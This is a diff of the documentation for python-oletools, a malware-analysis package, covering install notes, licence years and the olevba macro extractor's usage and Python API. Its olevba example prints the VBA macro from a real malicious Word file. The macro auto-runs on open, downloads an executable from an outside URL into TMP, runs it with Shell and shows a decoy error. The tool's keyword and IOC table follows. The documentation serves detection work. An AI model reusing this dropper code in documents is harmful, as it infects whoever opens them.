python-oletools is a package of python tools to analyze Microsoft OLE2 files (also called Structured Storage, Compound File Binary Format or Compound Document File Format), such as Microsoft Office documents or Outlook messages, mainly for malware analysis, forensics and debugging. It is based on the OleFileIO_PL parser. See http://www.decalage.info/python/oletools for more info.
-Quick links: Home page - Download - Documentation - Report Issues/Suggestions/Questions - Contact the Author - Repository - Updates on Twitter
+python-oletools is a package of python tools to analyze Microsoft OLE2 files (also called Structured Storage, Compound File Binary Format or Compound Document File Format), such as Microsoft Office documents or Outlook messages, mainly for malware analysis, forensics and debugging. It is based on the olefile parser. See http://www.decalage.info/python/oletools for more info.
+Quick links: Home page - Download/Install - Documentation - Report Issues/Suggestions/Questions - Contact the Author - Repository - Updates on Twitter
Note: python-oletools is not related to OLETools published by BeCubed Software.
To use python-oletools from the command line as analysis tools, you may simply download the zip archive and extract the files in the directory of your choice.
+To get the latest development version, click on "Download repository" on the downloads page, or use mercurial to clone the repository.
If you plan to use python-oletools with other Python applications or your own scripts, then the simplest solution is to use "pip install oletools" or "easy_install oletools" to download and install in one go. Otherwise you may download/extract the zip archive and run "setup.py install".
The latest version of the documentation can be found online, otherwise a copy is provided in the doc subfolder of the package.
@@ -44,7 +46,7 @@The code is available in a Mercurial repository on Bitbucket. You may use it to submit enhancements using forks and pull requests.
This license applies to the python-oletools package, apart from the thirdparty folder which contains third-party files published with their own license.
-The python-oletools package is copyright (c) 2012-2014 Philippe Lagadec (http://www.decalage.info)
+The python-oletools package is copyright (c) 2012-2015 Philippe Lagadec (http://www.decalage.info)
All rights reserved.
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
This is the home page of the documentation for python-oletools. The latest version can be found online, otherwise a copy is provided in the doc subfolder of the package.
-python-oletools is a package of python tools to analyze Microsoft OLE2 files (also called Structured Storage, Compound File Binary Format or Compound Document File Format), such as Microsoft Office documents or Outlook messages, mainly for malware analysis, forensics and debugging. It is based on the OleFileIO_PL parser. See http://www.decalage.info/python/oletools for more info.
-Quick links: Home page - Download - Documentation - Report Issues/Suggestions/Questions - Contact the author - Repository - Updates on Twitter
+python-oletools is a package of python tools to analyze Microsoft OLE2 files (also called Structured Storage, Compound File Binary Format or Compound Document File Format), such as Microsoft Office documents or Outlook messages, mainly for malware analysis, forensics and debugging. It is based on the olefile parser. See http://www.decalage.info/python/oletools for more info.
+Quick links: Home page - Download/Install - Documentation - Report Issues/Suggestions/Questions - Contact the author - Repository - Updates on Twitter
Note: python-oletools is not related to OLETools published by BeCubed Software.
To use python-oletools from the command line as analysis tools, you may simply download the zip archive and extract the files in the directory of your choice.
You may then add the directory to your PATH environment variable to access the tools from anywhere.
+To get the latest development version, click on "Download repository" on the downloads page, or use mercurial to clone the repository.
If you plan to use python-oletools with other Python applications or your own scripts, the simplest solution is to use "pip install oletools" or "easy_install oletools" to download and install the package in one go.
Otherwise you may download/extract the zip archive in a temporary directory and run "python setup.py install".
diff --git a/oletools/doc/Install.md b/oletools/doc/Install.md index 8cc90e8..80304a7 100644 --- a/oletools/doc/Install.md +++ b/oletools/doc/Install.md @@ -10,16 +10,24 @@ For now, python-oletools require Python 2.x. They are not compatible with Python For command-line tools ---------------------- -To use python-oletools from the command line as analysis tools, you may simply [download the zip archive](https://bitbucket.org/decalage/oletools/downloads) and extract the files in the directory of your choice. +To use python-oletools from the command line as analysis tools, you may simply +[download the zip archive](https://bitbucket.org/decalage/oletools/downloads) +and extract the files in the directory of your choice. You may then add the directory to your PATH environment variable to access the tools from anywhere. +To get the latest development version, click on "Download repository" on the +[downloads page](https://bitbucket.org/decalage/oletools/downloads), or use mercurial to clone the repository. + + For python applications ---------------------- -If you plan to use python-oletools with other Python applications or your own scripts, the simplest solution is to use "**pip install oletools**" or "**easy_install oletools**" to download and install the package in one go. +If you plan to use python-oletools with other Python applications or your own scripts, the simplest solution is to use +"**pip install oletools**" or "**easy_install oletools**" to download and install the package in one go. -Otherwise you may download/extract the [zip archive](https://bitbucket.org/decalage/oletools/downloads) in a temporary directory and run "**python setup.py install**". +Otherwise you may download/extract the [zip archive](https://bitbucket.org/decalage/oletools/downloads) in a temporary +directory and run "**python setup.py install**". -------------------------------------------------------------------------- diff --git a/oletools/doc/License.html b/oletools/doc/License.html index b63fa15..f13c30b 100644 --- a/oletools/doc/License.html +++ b/oletools/doc/License.html @@ -9,7 +9,7 @@This license applies to the python-oletools package, apart from the thirdparty folder which contains third-party files published with their own license.
-The python-oletools package is copyright (c) 2012-2014 Philippe Lagadec (http://www.decalage.info)
+The python-oletools package is copyright (c) 2012-2015 Philippe Lagadec (http://www.decalage.info)
All rights reserved.
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
olevba is a script to parse OLE and OpenXML files such as MS Office documents (e.g. Word, Excel), to extract VBA Macro code in clear text.
+olevba is a script to parse OLE and OpenXML files such as MS Office documents (e.g. Word, Excel), to detect VBA Macros, extract their source code in clear text, and detect security-related patterns such as auto-executable macros, suspicious VBA keywords used by malware, and potential IOCs (IP addresses, URLs, executable filenames, etc).
+It can be used either as a command-line tool, or as a python module from your own applications.
It is part of the python-oletools package.
-Supported formats:
+olevba is based on source code from officeparser by John William Davison, with significant modifications.
+olevba is based on source code from officeparser by John William Davison
+MS Office files encrypted with a password are also supported, because VBA macro code is never encrypted, only the content of the document.
+See this article for more information and technical details about VBA Macros and how they are stored in MS Office documents.
olevba.py <file>Usage: olevba.py [options] <filename> [filename2 ...]
+
+Options:
+ -h, --help show this help message and exit
+ -r find files recursively in subdirectories.
+ -z ZIP_PASSWORD, --zip=ZIP_PASSWORD
+ if the file is a zip archive, open first file from it,
+ using the provided password (requires Python 2.6+)
+ -f ZIP_FNAME, --zipfname=ZIP_FNAME
+ if the file is a zip archive, file(s) to be opened
+ within the zip. Wildcards * and ? are supported.
+ (default:*)Checking the malware sample DIAN_caso-5415.doc:
->olevba.py DIAN_caso-5415.doc
-
-INFO: Extracting VBA Macros from OLE file DIAN_caso-5415.doc
-
+>olevba.py c:\MalwareZoo\VBA\DIAN_caso-5415.doc.zip -z infected
+===============================================================================
+FILE: DIAN_caso-5415.doc.malware in c:\MalwareZoo\VBA\DIAN_caso-5415.doc.zip
+Type: OLE
-------------------------------------------------------------------------------
-ThisDocument.cls
-
-Attribute VB_Name = "ThisDocument"
-Attribute VB_Base = "1Normal.ThisDocument"
-Attribute VB_GlobalNameSpace = False
-Attribute VB_Creatable = False
-Attribute VB_PredeclaredId = True
-Attribute VB_Exposed = True
-Attribute VB_TemplateDerived = True
-Attribute VB_Customizable = True
+VBA MACRO ThisDocument.cls
+in file: DIAN_caso-5415.doc.malware - OLE stream: Macros/VBA/ThisDocument
+- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Option Explicit
-Private Declare Function URLDownloadToFileA Lib "urlmon" (ByVal FVQGKS As Long, _
+Private Declare Function URLDownloadToFileA Lib "urlmon" (ByVal FVQGKS As Long,_
ByVal WSGSGY As String, ByVal IFRRFV As String, ByVal NCVOLV As Long, _
ByVal HQTLDG As Long) As Long
Sub AutoOpen()
@@ -47,7 +66,8 @@ Sub Auto_Open()
SNVJYQ
End Sub
Public Sub SNVJYQ()
- OGEXYR "http://germanya.com.ec/logs/test.exe", Environ("TMP") & "\sfjozjero.exe"
+ OGEXYR "http://germanya.com.ec/logs/test.exe", Environ("TMP") & "\sfjozjero.
+exe"
End Sub
Function OGEXYR(XSTAHU As String, PHHWIV As String) As Boolean
Dim HRKUYU, lala As Long
@@ -55,16 +75,111 @@ Function OGEXYR(XSTAHU As String, PHHWIV As String) As Boolean
If HRKUYU = 0 Then OGEXYR = True
Dim YKPZZS
YKPZZS = Shell(PHHWIV, 1)
- MsgBox "El contenido de este documento no es compatible con este equipo." & vbCrLf & vbCrLf & "Por favor intente desde otro equipo.", vbCritical, "Equipo no compatible"
- lala = URLDownloadToFileA(0, "http://germanya.com.ec/logs/counter.php", Environ("TMP") & "\lkjljlljk", 0, 0)
+ MsgBox "El contenido de este documento no es compatible con este equipo." &
+vbCrLf & vbCrLf & "Por favor intente desde otro equipo.", vbCritical, "Equipo no
+ compatible"
+ lala = URLDownloadToFileA(0, "http://germanya.com.ec/logs/counter.php", Envi
+ron("TMP") & "\lkjljlljk", 0, 0)
Application.DisplayAlerts = False
Application.Quit
End Function
Sub Workbook_Open()
Auto_Open
-End Sub
+End Sub
+
+- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
+ANALYSIS:
++------------+----------------------+-----------------------------------------+
+| Type | Keyword | Description |
++------------+----------------------+-----------------------------------------+
+| AutoExec | AutoOpen | Runs when the Word document is opened |
+| AutoExec | Auto_Open | Runs when the Excel Workbook is opened |
+| AutoExec | Workbook_Open | Runs when the Excel Workbook is opened |
+| Suspicious | Lib | May run code from a DLL |
+| Suspicious | Shell | May run an executable file or a system |
+| | | command |
+| Suspicious | Environ | May read system environment variables |
+| Suspicious | URLDownloadToFileA | May download files from the Internet |
+| IOC | http://germanya.com. | URL |
+| | ec/logs/test.exe" | |
+| IOC | http://germanya.com. | URL |
+| | ec/logs/counter.php" | |
+| IOC | germanya.com | Executable file name |
+| IOC | test.exe | Executable file name |
+| IOC | sfjozjero.exe | Executable file name |
++------------+----------------------+-----------------------------------------+TODO
+olevba may be used to open a MS Office file, detect if it contains VBA macros, extract and analyze the VBA source code from your own python applications.
+First, import the oletools.olevba package, using at least the VBA_Parser class:
+from oletools.olevba import VBA_ParserCreate an instance of the VBA_Parser class, providing the name of the file to open as parameter. The file may also be provided as a bytes string containing its data, or a file-like object. In that case, the actual filename may be provided as a second parameter, if available.
+vba = VBA_Parser('my_file_with_macros.doc')VBA_Parser will raise an exception if the file is not a supported format, either OLE (MS Office 97-2003) or OpenXML (MS Office 2007+).
+The method detect_vba_macros returns True if VBA macros have been found in the file, False otherwise.
+if vba.detect_vba_macros():
+ print 'VBA Macros found'
+else:
+ print 'No VBA Macros found'Note: The detection algorithm looks for streams and storage with specific names in the OLE structure, which works fine for all the supported formats listed above. However, for some formats such as PowerPoint 97-2003, this method will always return False because VBA Macros are stored in a different way.
+Moreover, if the file contains an embedded document (e.g. an Excel workbook inserted into a Word document), this method may return True if the embedded document contains VBA Macros, even if the main document does not.
+The method extract_macros extracts and decompresses source code for each VBA macro found in the file (possibly including embedded files). It is a generator yielding a tuple (filename, stream_path, vba_filename, vba_code) for each VBA macro found.
+Example:
+for (filename, stream_path, vba_filename, vba_code) in vba.extract_macros():
+ print '-'*79
+ print 'Filename :', filename
+ print 'OLE stream :', stream_path
+ print 'VBA filename:', vba_filename
+ print '- '*39
+ print vba_codeThe function detect_autoexec checks if VBA macro code contains specific macro names that will be triggered when the document/workbook is opened, closed, changed, etc.
+It returns a list of tuples containing two strings, the detected keyword, and the description of the trigger. (See the malware example above)
+Sample usage:
+from oletools.olevba import detect_autoexec
+autoexec_keywords = detect_autoexec(vba_code)
+if autoexec_keywords:
+ print 'Auto-executable macro keywords found:'
+ for keyword, description in autoexec_keywords:
+ print '%s: %s' % (keyword, description)
+else:
+ print 'Auto-executable macro keywords: None found'The function detect_suspicious checks if VBA macro code contains specific keywords often used by malware to act on the system (create files, run commands or applications, write to the registry, etc).
+It returns a list of tuples containing two strings, the detected keyword, and the description of the corresponding malicious behaviour. (See the malware example above)
+Sample usage:
+from oletools.olevba import detect_suspicious
+suspicious_keywords = detect_suspicious(vba_code)
+if suspicious_keywords:
+ print 'Suspicious VBA keywords found:'
+ for keyword, description in suspicious_keywords:
+ print '%s: %s' % (keyword, description)
+else:
+ print 'Suspicious VBA keywords: None found'The function detect_patterns checks if VBA macro code contains specific patterns of interest, that may be useful for malware analysis and detection (potential Indicators of Compromise): IP addresses, e-mail addresses, URLs, executable file names.
+It returns a list of tuples containing two strings, the pattern type, and the extracted value. (See the malware example above)
+Sample usage:
+from oletools.olevba import detect_patterns
+patterns = detect_patterns(vba_code)
+if patterns:
+ print 'Patterns found:'
+ for pattern_type, value in patterns:
+ print '%s: %s' % (pattern_type, value)
+else:
+ print 'Patterns: None found'After usage, it is better to call the close method of the VBA_Parser object, to make sure the file is closed, especially if your application is parsing many files.
+vba.close()